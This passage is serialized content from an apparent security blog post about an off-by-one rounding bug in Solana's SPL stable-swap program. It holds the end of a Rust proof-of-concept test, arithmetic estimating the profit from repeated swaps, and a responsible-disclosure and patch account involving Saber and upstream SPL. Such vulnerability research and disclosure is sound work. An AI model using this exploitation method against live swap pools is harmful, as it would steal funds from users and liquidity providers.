":23,"tag":230,"props":5861,"children":5862},{"class":232,"line":400},[5863,5867,5872,5876,5881],{"type":23,"tag":230,"props":5864,"children":5865},{"style":268},[5866],{"type":29,"value":5808},{"type":23,"tag":230,"props":5868,"children":5869},{"style":262},[5870],{"type":29,"value":5871},"test_account_signer",{"type":23,"tag":230,"props":5873,"children":5874},{"style":268},[5875],{"type":29,"value":312},{"type":23,"tag":230,"props":5877,"children":5878},{"style":294},[5879],{"type":29,"value":5880},"pubkey",{"type":23,"tag":230,"props":5882,"children":5883},{"style":274},[5884],{"type":29,"value":5827},{"type":23,"tag":230,"props":5886,"children":5887},{"class":232,"line":444},[5888,5892,5897],{"type":23,"tag":230,"props":5889,"children":5890},{"style":268},[5891],{"type":29,"value":5808},{"type":23,"tag":230,"props":5893,"children":5894},{"style":262},[5895],{"type":29,"value":5896},"sbtc_user_account",{"type":23,"tag":230,"props":5898,"children":5899},{"style":274},[5900],{"type":29,"value":388},{"type":23,"tag":230,"props":5902,"children":5903},{"class":232,"line":453},[5904,5908,5913],{"type":23,"tag":230,"props":5905,"children":5906},{"style":268},[5907],{"type":29,"value":5808},{"type":23,"tag":230,"props":5909,"children":5910},{"style":262},[5911],{"type":29,"value":5912},"sbtc_reserve",{"type":23,"tag":230,"props":5914,"children":5915},{"style":274},[5916],{"type":29,"value":388},{"type":23,"tag":230,"props":5918,"children":5919},{"class":232,"line":462},[5920,5924,5929],{"type":23,"tag":230,"props":5921,"children":5922},{"style":268},[5923],{"type":29,"value":5808},{"type":23,"tag":230,"props":5925,"children":5926},{"style":262},[5927],{"type":29,"value":5928},"renbtc_reserve",{"type":23,"tag":230,"props":5930,"children":5931},{"style":274},[5932],{"type":29,"value":388},{"type":23,"tag":230,"props":5934,"children":5935},{"class":232,"line":471},[5936,5940,5945],{"type":23,"tag":230,"props":5937,"children":5938},{"style":268},[5939],{"type":29,"value":5808},{"type":23,"tag":230,"props":5941,"children":5942},{"style":262},[5943],{"type":29,"value":5944},"renbtc_user_account",{"type":23,"tag":230,"props":5946,"children":5947},{"style":274},[5948],{"type":29,"value":388},{"type":23,"tag":230,"props":5950,"children":5951},{"class":232,"line":500},[5952,5956,5961],{"type":23,"tag":230,"props":5953,"children":5954},{"style":268},[5955],{"type":29,"value":5808},{"type":23,"tag":230,"props":5957,"children":5958},{"style":262},[5959],{"type":29,"value":5960},"admin_fee_account_sbtc_to_ren",{"type":23,"tag":230,"props":5962,"children":5963},{"style":274},[5964],{"type":29,"value":388},{"type":23,"tag":230,"props":5966,"children":5967},{"class":232,"line":514},[5968,5973],{"type":23,"tag":230,"props":5969,"children":5970},{"style":5149},[5971],{"type":29,"value":5972},"        1",{"type":23,"tag":230,"props":5974,"children":5975},{"style":274},[5976],{"type":29,"value":388},{"type":23,"tag":230,"props":5978,"children":5979},{"class":232,"line":897},[5980],{"type":23,"tag":230,"props":5981,"children":5982},{"style":5149},[5983],{"type":29,"value":5984},"        2\n",{"type":23,"tag":230,"props":5986,"children":5987},{"class":232,"line":960},[5988,5993,5997,6002],{"type":23,"tag":230,"props":5989,"children":5990},{"style":274},[5991],{"type":29,"value":5992},"    )",{"type":23,"tag":230,"props":5994,"children":5995},{"style":268},[5996],{"type":29,"value":312},{"type":23,"tag":230,"props":5998,"children":5999},{"style":294},[6000],{"type":29,"value":6001},"unwrap",{"type":23,"tag":230,"props":6003,"children":6004},{"style":274},[6005],{"type":29,"value":2140},{"type":23,"tag":230,"props":6007,"children":6008},{"class":232,"line":969},[6009],{"type":23,"tag":230,"props":6010,"children":6011},{"emptyLinePlaceholder":18},[6012],{"type":29,"value":459},{"type":23,"tag":230,"props":6014,"children":6015},{"class":232,"line":4526},[6016],{"type":23,"tag":230,"props":6017,"children":6018},{"style":237},[6019],{"type":29,"value":6020},"    // nonce\n",{"type":23,"tag":230,"props":6022,"children":6023},{"class":232,"line":4534},[6024,6029,6033,6038,6042,6047,6051,6055,6060,6065,6070,6075,6079,6084],{"type":23,"tag":230,"props":6025,"children":6026},{"style":262},[6027],{"type":29,"value":6028},"    swap_instruction",{"type":23,"tag":230,"props":6030,"children":6031},{"style":268},[6032],{"type":29,"value":312},{"type":23,"tag":230,"props":6034,"children":6035},{"style":274},[6036],{"type":29,"value":6037},"data",{"type":23,"tag":230,"props":6039,"children":6040},{"style":268},[6041],{"type":29,"value":312},{"type":23,"tag":230,"props":6043,"children":6044},{"style":294},[6045],{"type":29,"value":6046},"append",{"type":23,"tag":230,"props":6048,"children":6049},{"style":274},[6050],{"type":29,"value":302},{"type":23,"tag":230,"props":6052,"children":6053},{"style":268},[6054],{"type":29,"value":5448},{"type":23,"tag":230,"props":6056,"children":6057},{"style":256},[6058],{"type":29,"value":6059},"mut",{"type":23,"tag":230,"props":6061,"children":6062},{"style":294},[6063],{"type":29,"value":6064}," vec!",{"type":23,"tag":230,"props":6066,"children":6067},{"style":274},[6068],{"type":29,"value":6069},"[",{"type":23,"tag":230,"props":6071,"children":6072},{"style":262},[6073],{"type":29,"value":6074},"i",{"type":23,"tag":230,"props":6076,"children":6077},{"style":274},[6078],{"type":29,"value":684},{"type":23,"tag":230,"props":6080,"children":6081},{"style":262},[6082],{"type":29,"value":6083},"extranonce",{"type":23,"tag":230,"props":6085,"children":6086},{"style":274},[6087],{"type":29,"value":6088},"]);\n",{"type":23,"tag":230,"props":6090,"children":6091},{"class":232,"line":4542},[6092],{"type":23,"tag":230,"props":6093,"children":6094},{"emptyLinePlaceholder":18},[6095],{"type":29,"value":459},{"type":23,"tag":230,"props":6097,"children":6098},{"class":232,"line":4559},[6099,6103,6107,6112,6116,6120],{"type":23,"tag":230,"props":6100,"children":6101},{"style":256},[6102],{"type":29,"value":5340},{"type":23,"tag":230,"props":6104,"children":6105},{"style":256},[6106],{"type":29,"value":5345},{"type":23,"tag":230,"props":6108,"children":6109},{"style":262},[6110],{"type":29,"value":6111}," instructions",{"type":23,"tag":230,"props":6113,"children":6114},{"style":268},[6115],{"type":29,"value":271},{"type":23,"tag":230,"props":6117,"children":6118},{"style":294},[6119],{"type":29,"value":6064},{"type":23,"tag":230,"props":6121,"children":6122},{"style":274},[6123],{"type":29,"value":6124},"[];\n",{"type":23,"tag":230,"props":6126,"children":6127},{"class":232,"line":4587},[6128],{"type":23,"tag":230,"props":6129,"children":6130},{"emptyLinePlaceholder":18},[6131],{"type":29,"value":459},{"type":23,"tag":230,"props":6133,"children":6134},{"class":232,"line":4595},[6135,6140,6144,6149,6153,6158],{"type":23,"tag":230,"props":6136,"children":6137},{"style":262},[6138],{"type":29,"value":6139},"    instructions",{"type":23,"tag":230,"props":6141,"children":6142},{"style":268},[6143],{"type":29,"value":312},{"type":23,"tag":230,"props":6145,"children":6146},{"style":294},[6147],{"type":29,"value":6148},"push",{"type":23,"tag":230,"props":6150,"children":6151},{"style":274},[6152],{"type":29,"value":302},{"type":23,"tag":230,"props":6154,"children":6155},{"style":262},[6156],{"type":29,"value":6157},"swap_instruction",{"type":23,"tag":230,"props":6159,"children":6160},{"style":274},[6161],{"type":29,"value":753},{"type":23,"tag":230,"props":6163,"children":6164},{"class":232,"line":4619},[6165],{"type":23,"tag":230,"props":6166,"children":6167},{"emptyLinePlaceholder":18},[6168],{"type":29,"value":459},{"type":23,"tag":230,"props":6170,"children":6171},{"class":232,"line":4627},[6172,6177,6181,6186,6190,6194,6199,6203,6207,6212,6216,6220,6224],{"type":23,"tag":230,"props":6173,"children":6174},{"style":262},[6175],{"type":29,"value":6176},"    env",{"type":23,"tag":230,"props":6178,"children":6179},{"style":268},[6180],{"type":29,"value":312},{"type":23,"tag":230,"props":6182,"children":6183},{"style":294},[6184],{"type":29,"value":6185},"execute_as_transaction",{"type":23,"tag":230,"props":6187,"children":6188},{"style":274},[6189],{"type":29,"value":302},{"type":23,"tag":230,"props":6191,"children":6192},{"style":268},[6193],{"type":29,"value":5448},{"type":23,"tag":230,"props":6195,"children":6196},{"style":262},[6197],{"type":29,"value":6198},"instructions",{"type":23,"tag":230,"props":6200,"children":6201},{"style":274},[6202],{"type":29,"value":684},{"type":23,"tag":230,"props":6204,"children":6205},{"style":268},[6206],{"type":29,"value":5448},{"type":23,"tag":230,"props":6208,"children":6209},{"style":294},[6210],{"type":29,"value":6211},"vec!",{"type":23,"tag":230,"props":6213,"children":6214},{"style":274},[6215],{"type":29,"value":6069},{"type":23,"tag":230,"props":6217,"children":6218},{"style":268},[6219],{"type":29,"value":5448},{"type":23,"tag":230,"props":6221,"children":6222},{"style":262},[6223],{"type":29,"value":5871},{"type":23,"tag":230,"props":6225,"children":6226},{"style":274},[6227],{"type":29,"value":6088},{"type":23,"tag":230,"props":6229,"children":6230},{"class":232,"line":4659},[6231],{"type":23,"tag":230,"props":6232,"children":6233},{"style":274},[6234],{"type":29,"value":975},{"type":23,"tag":32,"props":6236,"children":6237},{},[6238],{"type":29,"value":6239},"It works!",{"type":23,"tag":5272,"props":6241,"children":6242},{},[6243],{"type":23,"tag":32,"props":6244,"children":6245},{},[6246],{"type":29,"value":6247},"holy shit\nyea, this is big",{"type":23,"tag":32,"props":6249,"children":6250},{},[6251],{"type":23,"tag":93,"props":6252,"children":6254},{"alt":7,"src":6253},"/posts/spl-swap/poc.png",[],{"type":23,"tag":24,"props":6256,"children":6258},{"id":6257},"exploitability",[6259],{"type":29,"value":6260},"Exploitability",{"type":23,"tag":32,"props":6262,"children":6263},{},[6264],{"type":29,"value":6265},"Off-by-one bugs are much easier to exploit on Solana compared to other chains, enabled by the relatively low fees on Solana.",{"type":23,"tag":32,"props":6267,"children":6268},{},[6269],{"type":29,"value":6270},"A single swap on Ethereum can cost dozens of dollars, but on Solana packing hundreds of swap instructions into a single transaction costs the same flat rate of 5000 lamports (at least prior to the 1.9 per transaction size compute limit update).",{"type":23,"tag":32,"props":6272,"children":6273},{},[6274],{"type":29,"value":6275},"This transaction cost discrepancy can trip up developers who transitioned from Ethereum to Solana. For example, the developers who wrote tests for the Solana Program Library implementation of stable swap assumed the impact of an off by one error would be negligible.",{"type":23,"tag":32,"props":6277,"children":6278},{},[6279],{"type":23,"tag":93,"props":6280,"children":6282},{"alt":7,"src":6281},"/posts/spl-swap/pr.png",[],{"type":23,"tag":32,"props":6284,"children":6285},{},[6286,6288,6293],{"type":29,"value":6287},"As we mentioned previously, due to the rounding error, each swap allowed an attacker to steal a single token. It's important to keep in mind that this represents a single token ",{"type":23,"tag":2258,"props":6289,"children":6290},{},[6291],{"type":29,"value":6292},"per instruction",{"type":29,"value":6294},". Transactions on Solana can also contain multiple instructions.",{"type":23,"tag":32,"props":6296,"children":6297},{},[6298],{"type":29,"value":6299},"With an onchain program, we are able to fit over 50 swap instructions per transaction. Each transaction can be run around 3 times before exceeding the per-instruction compute limit cap. Thus, we can pack around 150 invocations per transaction.",{"type":23,"tag":32,"props":6301,"children":6302},{},[6303,6305,6310],{"type":29,"value":6304},"Some quick napkin math confirms that this ",{"type":23,"tag":2258,"props":6306,"children":6307},{},[6308],{"type":29,"value":6309},"is",{"type":29,"value":6311}," indeed profitable. At a price of $41440 per Bitcoin, we are able to steal around 6 cents per transaction.",{"type":23,"tag":32,"props":6313,"children":6314},{},[6315],{"type":23,"tag":71,"props":6316,"children":6320},{"className":6317},[6318,6319],"language-math","math-inline",[6321],{"type":23,"tag":230,"props":6322,"children":6325},{"className":6323},[6324],"katex",[6326],{"type":23,"tag":230,"props":6327,"children":6330},{"className":6328,"ariaHidden":1726},[6329],"katex-html",[6331,6440,6496,6536],{"type":23,"tag":230,"props":6332,"children":6335},{"className":6333},[6334],"base",[6336,6342,6349,6413,6423,6429,6436],{"type":23,"tag":230,"props":6337,"children":6341},{"className":6338,"style":6340},[6339],"strut","height:0.8141em;",[],{"type":23,"tag":230,"props":6343,"children":6346},{"className":6344},[6345],"mord",[6347],{"type":29,"value":6348},"1",{"type":23,"tag":230,"props":6350,"children":6352},{"className":6351},[6345],[6353,6359],{"type":23,"tag":230,"props":6354,"children":6356},{"className":6355},[6345],[6357],{"type":29,"value":6358},"0",{"type":23,"tag":230,"props":6360,"children":6363},{"className":6361},[6362],"msupsub",[6364],{"type":23,"tag":230,"props":6365,"children":6368},{"className":6366},[6367],"vlist-t",[6369],{"type":23,"tag":230,"props":6370,"children":6373},{"className":6371},[6372],"vlist-r",[6374],{"type":23,"tag":230,"props":6375,"children":6378},{"className":6376,"style":6340},[6377],"vlist",[6379],{"type":23,"tag":230,"props":6380,"children":6382},{"style":6381},"top:-3.063em;margin-right:0.05em;",[6383,6389],{"type":23,"tag":230,"props":6384,"children":6388},{"className":6385,"style":6387},[6386],"pstrut","height:2.7em;",[],{"type":23,"tag":230,"props":6390,"children":6396},{"className":6391},[6392,6393,6394,6395],"sizing","reset-size6","size3","mtight",[6397],{"type":23,"tag":230,"props":6398,"children":6400},{"className":6399},[6345,6395],[6401,6407],{"type":23,"tag":230,"props":6402,"children":6404},{"className":6403},[6345,6395],[6405],{"type":29,"value":6406},"−",{"type":23,"tag":230,"props":6408,"children":6410},{"className":6409},[6345,6395],[6411],{"type":29,"value":6412},"8",{"type":23,"tag":230,"props":6414,"children":6416},{"className":6415},[6345,29],[6417],{"type":23,"tag":230,"props":6418,"children":6420},{"className":6419},[6345],[6421],{"type":29,"value":6422}," BTC",{"type":23,"tag":230,"props":6424,"children":6428},{"className":6425,"style":6427},[6426],"mspace","margin-right:0.2222em;",[],{"type":23,"tag":230,"props":6430,"children":6433},{"className":6431},[6432],"mbin",[6434],{"type":29,"value":6435},"∗",{"type":23,"tag":230,"props":6437,"children":6439},{"className":6438,"style":6427},[6426],[],{"type":23,"tag":230,"props":6441,"children":6443},{"className":6442},[6334],[6444,6449,6455,6462,6467,6473,6483,6487,6492],{"type":23,"tag":230,"props":6445,"children":6448},{"className":6446,"style":6447},[6339],"height:1em;vertical-align:-0.25em;",[],{"type":23,"tag":230,"props":6450,"children":6452},{"className":6451},[6345],[6453],{"type":29,"value":6454},"$41",{"type":23,"tag":230,"props":6456,"children":6459},{"className":6457},[6458],"mpunct",[6460],{"type":29,"value":6461},",",{"type":23,"tag":230,"props":6463,"children":6466},{"className":6464,"style":6465},[6426],"margin-right:0.1667em;",[],{"type":23,"tag":230,"props":6468,"children":6470},{"className":6469},[6345],[6471],{"type":29,"value":6472},"400/",{"type":23,"tag":230,"props":6474,"children":6476},{"className":6475},[6345,29],[6477],{"type":23,"tag":230,"props":6478,"children":6480},{"className":6479},[6345],[6481],{"type":29,"value":6482},"BTC",{"type":23,"tag":230,"props":6484,"children":6486},{"className":6485,"style":6427},[6426],[],{"type":23,"tag":230,"props":6488,"children":6490},{"className":6489},[6432],[6491],{"type":29,"value":6435},{"type":23,"tag":230,"props":6493,"children":6495},{"className":6494,"style":6427},[6426],[],{"type":23,"tag":230,"props":6497,"children":6499},{"className":6498},[6334],[6500,6505,6511,6521,6526,6532],{"type":23,"tag":230,"props":6501,"children":6504},{"className":6502,"style":6503},[6339],"height:0.8389em;vertical-align:-0.1944em;",[],{"type":23,"tag":230,"props":6506,"children":6508},{"className":6507},[6345],[6509],{"type":29,"value":6510},"150",{"type":23,"tag":230,"props":6512,"children":6514},{"className":6513},[6345,29],[6515],{"type":23,"tag":230,"props":6516,"children":6518},{"className":6517},[6345],[6519],{"type":29,"value":6520}," swaps",{"type":23,"tag":230,"props":6522,"children":6525},{"className":6523,"style":6524},[6426],"margin-right:0.2778em;",[],{"type":23,"tag":230,"props":6527,"children":6530},{"className":6528},[6529],"mrel",[6531],{"type":29,"value":863},{"type":23,"tag":230,"props":6533,"children":6535},{"className":6534,"style":6524},[6426],[],{"type":23,"tag":230,"props":6537,"children":6539},{"className":6538},[6334],[6540,6545],{"type":23,"tag":230,"props":6541,"children":6544},{"className":6542,"style":6543},[6339],"height:0.8056em;vertical-align:-0.0556em;",[],{"type":23,"tag":230,"props":6546,"children":6548},{"className":6547},[6345],[6549],{"type":29,"value":6550},"$0.0621",{"type":23,"tag":32,"props":6552,"children":6553},{},[6554],{"type":29,"value":6555},"At 200 transactions per second, we can extract just over a million dollars per day.",{"type":23,"tag":32,"props":6557,"children":6558},{},[6559],{"type":29,"value":6560},"We're well on our way to becoming a millionaire!",{"type":23,"tag":24,"props":6562,"children":6564},{"id":6563},"patch",[6565],{"type":29,"value":6566},"Patch",{"type":23,"tag":32,"props":6568,"children":6569},{},[6570],{"type":29,"value":6571},"Now that we had a proof-of-concept going, it was time to contact the relevant teams.",{"type":23,"tag":32,"props":6573,"children":6574},{},[6575],{"type":29,"value":6576},"By grepping through Solana logs for the swap instruction log, we were able to identify many potential spl-token-swap forks.",{"type":23,"tag":220,"props":6578,"children":6582},{"code":6579,"language":6580,"meta":7,"className":6581,"style":7},"solana logs -um | grep 'Instruction: Swap' -B1\n","bash","language-bash shiki shiki-themes slack-dark",[6583],{"type":23,"tag":71,"props":6584,"children":6585},{"__ignoreMap":7},[6586],{"type":23,"tag":230,"props":6587,"children":6588},{"class":232,"line":233},[6589,6593,6598,6603,6608,6613,6618],{"type":23,"tag":230,"props":6590,"children":6591},{"style":294},[6592],{"type":29,"value":5219},{"type":23,"tag":230,"props":6594,"children":6595},{"style":380},[6596],{"type":29,"value":6597}," logs",{"type":23,"tag":230,"props":6599,"children":6600},{"style":380},[6601],{"type":29,"value":6602}," -um",{"type":23,"tag":230,"props":6604,"children":6605},{"style":268},[6606],{"type":29,"value":6607}," |",{"type":23,"tag":230,"props":6609,"children":6610},{"style":294},[6611],{"type":29,"value":6612}," grep",{"type":23,"tag":230,"props":6614,"children":6615},{"style":380},[6616],{"type":29,"value":6617}," 'Instruction: Swap'",{"type":23,"tag":230,"props":6619,"children":6620},{"style":380},[6621],{"type":29,"value":6622}," -B1\n",{"type":23,"tag":32,"props":6624,"children":6625},{},[6626],{"type":29,"value":6627},"With some Google dorking, we were able to identify many of these programs.",{"type":23,"tag":220,"props":6629,"children":6631},{"code":6630},"1SoLTvbiicqXZ3MJmnTL2WYXKLYpuxwHpa4yYrVQaMZ  - \"1 SOL\"\n9W959DqEETiGZocYWCQPaJ6sBmUzgfxXfqGeTEdp3aQP - Orca Swap Program v2\nSCHAtsf8mbjyjiv4LkhLKutTf6JnZAbdJKFkXQNMFHZ  - \"Sencha Swap\"\nSSwapUtytfBdBn1b9NUGG6foMVPtcWgpRU32HToDUZr  - \"Saros Swap\"\nSSwpkEEcbUqx4vtoEByFjSkhKdCT862DNVb52nZg1UZ  - Saber Stable Swap Program\nSSwpMgqNDsyV7mAgN9ady4bDVu5ySjmmXejXvy2vLt1  - Step Finance Swap Program\nSwaPpA9LAaLfeLi3a68M4DjnLqgtticKg6CnyNwgAC8  - Swap Program\n",[6632],{"type":23,"tag":71,"props":6633,"children":6634},{"__ignoreMap":7},[6635],{"type":29,"value":6630},{"type":23,"tag":32,"props":6637,"children":6638},{},[6639],{"type":29,"value":6640},"Now it was time to contact these teams.",{"type":23,"tag":32,"props":6642,"children":6643},{},[6644],{"type":29,"value":6645},"Of these protocols, Saber was the only one which had BTC stable swaps, which would make exploitation immediately profitable. Luckily, they were also the most responsive, triaging and patching the vulnerability in just over one day.",{"type":23,"tag":32,"props":6647,"children":6648},{},[6649],{"type":29,"value":6650},"After some discussion, they decided to port a patch from Curve.fi, subtracting one from the output amount.",{"type":23,"tag":220,"props":6652,"children":6654},{"code":6653,"language":5319,"meta":7,"className":5320,"style":7},"-        let dy = swap_destination_amount.checked_sub(y)?;\n+        // https://github.com/curvefi/curve-contract/blob/b0bbf77f8f93c9c5f4e415bce9cd71f0cdee960e/contracts/pool-templates/base/SwapTemplateBase.vy#L466\n+        let dy = swap_destination_amount.checked_sub(y)?.checked_sub(1)?;\n",[6655],{"type":23,"tag":71,"props":6656,"children":6657},{"__ignoreMap":7},[6658,6712,6725],{"type":23,"tag":230,"props":6659,"children":6660},{"class":232,"line":233},[6661,6666,6670,6675,6679,6684,6688,6692,6696,6700,6704,6708],{"type":23,"tag":230,"props":6662,"children":6663},{"style":268},[6664],{"type":29,"value":6665},"-",{"type":23,"tag":230,"props":6667,"children":6668},{"style":256},[6669],{"type":29,"value":5404},{"type":23,"tag":230,"props":6671,"children":6672},{"style":262},[6673],{"type":29,"value":6674}," dy",{"type":23,"tag":230,"props":6676,"children":6677},{"style":268},[6678],{"type":29,"value":271},{"type":23,"tag":230,"props":6680,"children":6681},{"style":262},[6682],{"type":29,"value":6683}," swap_destination_amount",{"type":23,"tag":230,"props":6685,"children":6686},{"style":268},[6687],{"type":29,"value":312},{"type":23,"tag":230,"props":6689,"children":6690},{"style":294},[6691],{"type":29,"value":5574},{"type":23,"tag":230,"props":6693,"children":6694},{"style":274},[6695],{"type":29,"value":302},{"type":23,"tag":230,"props":6697,"children":6698},{"style":262},[6699],{"type":29,"value":5453},{"type":23,"tag":230,"props":6701,"children":6702},{"style":274},[6703],{"type":29,"value":5467},{"type":23,"tag":230,"props":6705,"children":6706},{"style":268},[6707],{"type":29,"value":5494},{"type":23,"tag":230,"props":6709,"children":6710},{"style":274},[6711],{"type":29,"value":511},{"type":23,"tag":230,"props":6713,"children":6714},{"class":232,"line":243},[6715,6720],{"type":23,"tag":230,"props":6716,"children":6717},{"style":268},[6718],{"type":29,"value":6719},"+",{"type":23,"tag":230,"props":6721,"children":6722},{"style":237},[6723],{"type":29,"value":6724},"        // https://github.com/curvefi/curve-contract/blob/b0bbf77f8f93c9c5f4e415bce9cd71f0cdee960e/contracts/pool-templates/base/SwapTemplateBase.vy#L466\n",{"type":23,"tag":230,"props":6726,"children":6727},{"class":232,"line":252},[6728,6732,6736,6740,6744,6748,6752,6756,6760,6764,6768,6772,6776,6780,6784,6788,6792],{"type":23,"tag":230,"props":6729,"children":6730},{"style":268},[6731],{"type":29,"value":6719},{"type":23,"tag":230,"props":6733,"children":6734},{"style":256},[6735],{"type":29,"value":5404},{"type":23,"tag":230,"props":6737,"children":6738},{"style":262},[6739],{"type":29,"value":6674},{"type":23,"tag":230,"props":6741,"children":6742},{"style":268},[6743],{"type":29,"value":271},{"type":23,"tag":230,"props":6745,"children":6746},{"style":262},[6747],{"type":29,"value":6683},{"type":23,"tag":230,"props":6749,"children":6750},{"style":268},[6751],{"type":29,"value":312},{"type":23,"tag":230,"props":6753,"children":6754},{"style":294},[6755],{"type":29,"value":5574},{"type":23,"tag":230,"props":6757,"children":6758},{"style":274},[6759],{"type":29,"value":302},{"type":23,"tag":230,"props":6761,"children":6762},{"style":262},[6763],{"type":29,"value":5453},{"type":23,"tag":230,"props":6765,"children":6766},{"style":274},[6767],{"type":29,"value":5467},{"type":23,"tag":230,"props":6769,"children":6770},{"style":268},[6771],{"type":29,"value":5472},{"type":23,"tag":230,"props":6773,"children":6774},{"style":294},[6775],{"type":29,"value":5574},{"type":23,"tag":230,"props":6777,"children":6778},{"style":274},[6779],{"type":29,"value":302},{"type":23,"tag":230,"props":6781,"children":6782},{"style":5149},[6783],{"type":29,"value":6348},{"type":23,"tag":230,"props":6785,"children":6786},{"style":274},[6787],{"type":29,"value":5467},{"type":23,"tag":230,"props":6789,"children":6790},{"style":268},[6791],{"type":29,"value":5494},{"type":23,"tag":230,"props":6793,"children":6794},{"style":274},[6795],{"type":29,"value":511},{"type":23,"tag":32,"props":6797,"children":6798},{},[6799,6801,6808],{"type":29,"value":6800},"For reference, here is the ",{"type":23,"tag":181,"props":6802,"children":6805},{"href":6803,"rel":6804},"https://github.com/curvefi/curve-contract/blob/b0bbf77f8f93c9c5f4e415bce9cd71f0cdee960e/contracts/pool-templates/base/SwapTemplateBase.vy#L466",[185],[6806],{"type":29,"value":6807},"Curve.fi implementation",{"type":29,"value":312},{"type":23,"tag":220,"props":6810,"children":6814},{"code":6811,"language":6812,"meta":7,"className":6813,"style":7},"    dy: uint256 = xp[j] - y - 1  # -1 just in case there were some rounding errors\n    dy_fee: uint256 = dy * self.fee / FEE_DENOMINATOR\n","solidity","language-solidity shiki shiki-themes slack-dark",[6815],{"type":23,"tag":71,"props":6816,"children":6817},{"__ignoreMap":7},[6818,6880],{"type":23,"tag":230,"props":6819,"children":6820},{"class":232,"line":233},[6821,6826,6830,6835,6839,6844,6848,6853,6857,6862,6867,6871,6875],{"type":23,"tag":230,"props":6822,"children":6823},{"style":274},[6824],{"type":29,"value":6825},"    dy",{"type":23,"tag":230,"props":6827,"children":6828},{"style":268},[6829],{"type":29,"value":218},{"type":23,"tag":230,"props":6831,"children":6832},{"style":676},[6833],{"type":29,"value":6834}," uint256",{"type":23,"tag":230,"props":6836,"children":6837},{"style":268},[6838],{"type":29,"value":271},{"type":23,"tag":230,"props":6840,"children":6841},{"style":274},[6842],{"type":29,"value":6843}," xp[j] ",{"type":23,"tag":230,"props":6845,"children":6846},{"style":268},[6847],{"type":29,"value":6665},{"type":23,"tag":230,"props":6849,"children":6850},{"style":274},[6851],{"type":29,"value":6852}," y ",{"type":23,"tag":230,"props":6854,"children":6855},{"style":268},[6856],{"type":29,"value":6665},{"type":23,"tag":230,"props":6858,"children":6859},{"style":5149},[6860],{"type":29,"value":6861}," 1",{"type":23,"tag":230,"props":6863,"children":6864},{"style":274},[6865],{"type":29,"value":6866},"  # ",{"type":23,"tag":230,"props":6868,"children":6869},{"style":268},[6870],{"type":29,"value":6665},{"type":23,"tag":230,"props":6872,"children":6873},{"style":5149},[6874],{"type":29,"value":6348},{"type":23,"tag":230,"props":6876,"children":6877},{"style":274},[6878],{"type":29,"value":6879}," just in case there were some rounding errors\n",{"type":23,"tag":230,"props":6881,"children":6882},{"class":232,"line":243},[6883,6888,6892,6896,6900,6905,6910,6915,6920],{"type":23,"tag":230,"props":6884,"children":6885},{"style":274},[6886],{"type":29,"value":6887},"    dy_fee",{"type":23,"tag":230,"props":6889,"children":6890},{"style":268},[6891],{"type":29,"value":218},{"type":23,"tag":230,"props":6893,"children":6894},{"style":676},[6895],{"type":29,"value":6834},{"type":23,"tag":230,"props":6897,"children":6898},{"style":268},[6899],{"type":29,"value":271},{"type":23,"tag":230,"props":6901,"children":6902},{"style":274},[6903],{"type":29,"value":6904}," dy ",{"type":23,"tag":230,"props":6906,"children":6907},{"style":268},[6908],{"type":29,"value":6909},"*",{"type":23,"tag":230,"props":6911,"children":6912},{"style":274},[6913],{"type":29,"value":6914}," self.fee ",{"type":23,"tag":230,"props":6916,"children":6917},{"style":268},[6918],{"type":29,"value":6919},"/",{"type":23,"tag":230,"props":6921,"children":6922},{"style":274},[6923],{"type":29,"value":6924}," FEE_DENOMINATOR\n",{"type":23,"tag":32,"props":6926,"children":6927},{},[6928,6930,6937],{"type":29,"value":6929},"We originally thought this was an additional patch that didn't get ported over to Solana. However, it turns out this code was actually included in the ",{"type":23,"tag":181,"props":6931,"children":6934},{"href":6932,"rel":6933},"https://github.com/curvefi/curve-contract/commit/0fd801df7488d89f0e2fc81e760942d7858b01d6",[185],[6935],{"type":29,"value":6936},"original commit",{"type":29,"value":6938},", not as an additional security patch.",{"type":23,"tag":220,"props":6940,"children":6942},{"code":6941},"commit 0fd801df7488d89f0e2fc81e760942d7858b01d6\nAuthor: Ben Hauser \u003Cben@hauser.id>\nDate:   Mon Aug 31 02:35:30 2020 +0300\n\n    feat: add base pool without lending\n",[6943],{"type":23,"tag":71,"props":6944,"children":6945},{"__ignoreMap":7},[6946],{"type":29,"value":6941},{"type":23,"tag":32,"props":6948,"children":6949},{},[6950,6952,6959],{"type":29,"value":6951},"The commit adding stable swaps to SPL was ",{"type":23,"tag":181,"props":6953,"children":6956},{"href":6954,"rel":6955},"https://github.com/solana-labs/solana-program-library/commit/d62ddd2b94d5d2daaa97460b165d288610a87623",[185],[6957],{"type":29,"value":6958},"made a few months later",{"type":29,"value":6960},", meaning there was some disconnect when porting the code. Either the rounding was thought to be unnecesary, or it was simply forgotten.",{"type":23,"tag":220,"props":6962,"children":6964},{"code":6963},"commit d62ddd2b94d5d2daaa97460b165d288610a87623\nAuthor: Yuriy Savchenko \u003Cyuriy.savchenko@gmail.com>\nDate:   Tue Nov 17 15:13:18 2020 +0200\n\n    Added stable curve invariant to the token swap smart contract (#838)\n\n    * Added stable curve invariant to the token swap smart contract\n\n    * Fixed formatting\n\n    * Added missing stable curve constraints\n\n    * Symbol renames to make math clearer\n\n    * Small refactoring according to PR comments, fixes for JS tests\n",[6965],{"type":23,"tag":71,"props":6966,"children":6967},{"__ignoreMap":7},[6968],{"type":29,"value":6963},{"type":23,"tag":32,"props":6970,"children":6971},{},[6972,6974,6981],{"type":29,"value":6973},"After contacting some other swap projects which were unaffected, we decided to notify the Solana team in order to get a patch upstreamed to ",{"type":23,"tag":181,"props":6975,"children":6978},{"href":6976,"rel":6977},"https://github.com/solana-labs/solana-program-library",[185],[6979],{"type":29,"value":6980},"the Solana Program Library",{"type":29,"value":312},{"type":23,"tag":32,"props":6983,"children":6984},{},[6985],{"type":29,"value":6986},"While few projects deploy the swap program from the Solana Program Library, the SPL program is meant as a reference implementation, and many exchanges fork their own code off of it.",{"type":23,"tag":32,"props":6988,"children":6989},{},[6990,6997],{"type":23,"tag":181,"props":6991,"children":6994},{"href":6992,"rel":6993},"https://github.com/joncinque",[185],[6995],{"type":29,"value":6996},"@joncinque",{"type":29,"value":6998}," helped triage this patch. We also asked him for his thoughts on a more complete solution.",{"type":23,"tag":5272,"props":7000,"children":7001},{},[7002],{"type":23,"tag":32,"props":7003,"children":7004},{},[7005],{"type":29,"value":7006},"Honestly, the idea of just subtracting 1 from the output will cover almost all situations correctly, so it's a good quick solution. I'll take a look to see if we can solve this for all situations through a correct application of checked_ceil_div, as with the constant product curve.",{"type":23,"tag":32,"props":7008,"children":7009},{},[7010,7012,7019,7021,7027],{"type":29,"value":7011},"After some thought, he helped 